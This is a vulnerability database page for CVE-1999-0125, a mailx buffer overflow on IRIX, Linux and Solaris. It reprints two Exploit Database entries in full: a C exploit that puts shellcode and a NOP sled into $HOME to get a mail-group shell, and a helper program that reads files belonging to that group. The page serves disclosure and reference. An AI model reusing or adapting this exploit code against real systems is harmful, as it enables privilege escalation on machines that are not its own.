CVE-1999-0125 : Detail

CVE-1999-0125

0.04%V3
Local
1999-09-29
02h00 +00:00
2024-08-01
16h27 +00:00
Notifications for a CVE
Stay informed of any changes for a specific CVE.
Notifications manage

CVE Descriptions

Buffer overflow in SGI IRIX mailx program.

CVE Informations

Metrics

Metrics Score Severity CVSS Vector Source
V2 4.6 AV:L/AC:L/Au:N/C:P/I:P/A:P [email protected]

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Exploit information

Exploit Database EDB-ID : 19311

Publication date : 1998-06-19 22h00 +00:00
Author : Alvaro Martinez Echevarria
EDB Verified : Yes

// source: https://www.securityfocus.com/bid/393/info A buffer overrun exists in the /bin/mailx program. This program was originally developed as part of BSD, and is available on many Unix systems. By supplying a long, well crafted buffer as the username argument, an attacker can use it to execuate arbitrary code. On some systems, this will result in the ability to execute code as group mail. /* * mailxploit.c (Linux/i386) * Sat Jun 20 00:47:59 CEST 1998 * Alvaro Martinez Echevarria <[email protected]> * Exploit a buffer overrun in mailx using the environment variable * $HOME, to acquire "mail" group privileges (assuming that mailx * is installed setgid mail). */ #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <string.h> /* * The location of mailx. */ #define MAILX "/usr/bin/mail" /* * The gid for group mail (represented in a char, in hexadecimal). */ #define GID "\x08" #define DEFAULT_OFFSET 2000 #define DEFAULT_BUFFER_SIZE 1124 #define NOP 0x90 char shellcode[] = /* seteuid(GID); setreuid(GID,GID); */ "\x31\xdb\x31\xc9\xbb\xff\xff\xff\xff\xb1" GID "\x31\xc0\xb0\x47\xcd\x80" "\x31\xdb\x31\xc9\xb3" GID "\xb1" GID "\x31\xc0\xb0\x47\xcd\x80" /* generic shell code by Aleph One */ "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; unsigned long get_sp(void) { __asm__("movl %esp,%eax"); } int main(int argc, char *argv[]) { char *buff, *ptr; long *addr_ptr, addr; int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE; int i; addr = get_sp() - offset; if ((buff=(char *)malloc(bsize))==NULL) { fprintf(stderr,"error in malloc()\n"); exit(1); } ptr = buff; addr_ptr = (long *) ptr; for (i = 0; i < bsize; i+=4) *(addr_ptr++) = addr; for (i = 0; i < bsize/2; i++) buff[i] = NOP; ptr = buff + ((bsize/2) - (strlen(shellcode)/2)); for (i = 0; i < strlen(shellcode); i++) *(ptr++) = shellcode[i]; buff[bsize - 1] = '\0'; setenv("HOME",buff,1); execl(MAILX,MAILX,"-n","-f","~/patata",NULL); exit(0); }
Exploit Database EDB-ID : 19312

Publication date : 1998-06-24 22h00 +00:00
Author : segv
EDB Verified : Yes

// source: https://www.securityfocus.com/bid/393/info A buffer overrun exists in the /bin/mailx program. This program was originally developed as part of BSD, and is available on many Unix systems. By supplying a long, well crafted buffer as the username argument, an attacker can use it to execuate arbitrary code. On some systems, this will result in the ability to execute code as group mail. // this is nothing special, it allows you to read files that are // readable by the group 'mail'. // feedback: segv <[email protected]> #include <stdio.h> #include <unistd.h> #include <stdlib.h> #include <string.h> #include <sys/types.h> #include <sys/stat.h> #include <fcntl.h> void usage(char *prog); void main(int argc, char *argv[]) { char buffer[1024]; int fd, bytes; if(argc != 3) usage(argv[0]); if((strcmp(argv[1],"-c"))) usage(argv[0]); else { if((fd=open(argv[2],O_RDONLY)) == -1) { perror("open"); exit(1); } while((bytes=read(fd,buffer,sizeof(buffer))) > 0) write(1,buffer,bytes); close(fd); } exit(0); } void usage(char *prog) { fprintf(stderr,"this program should be invoked by mailx\n"); fprintf(stderr,"remember to set the env var 'SHELL' to the\n"); fprintf(stderr,"name of this program.\n"); exit(1); }

Products Mentioned

Configuraton 0

Sgi>>Irix >> Version 5.2

Sgi>>Irix >> Version 5.3

Sgi>>Irix >> Version 6.3

Configuraton 0

Redhat>>Linux >> Version 4.2

Sun>>Solaris >> Version 2.4

    Sun>>Solaris >> Version 2.5

      Sun>>Solaris >> Version 2.5.1

        Sun>>Solaris >> Version 2.5.1

          Sun>>Solaris >> Version 2.6

          Sun>>Sunos >> Version -

          Sun>>Sunos >> Version 5.5

          Sun>>Sunos >> Version 5.5.1

          References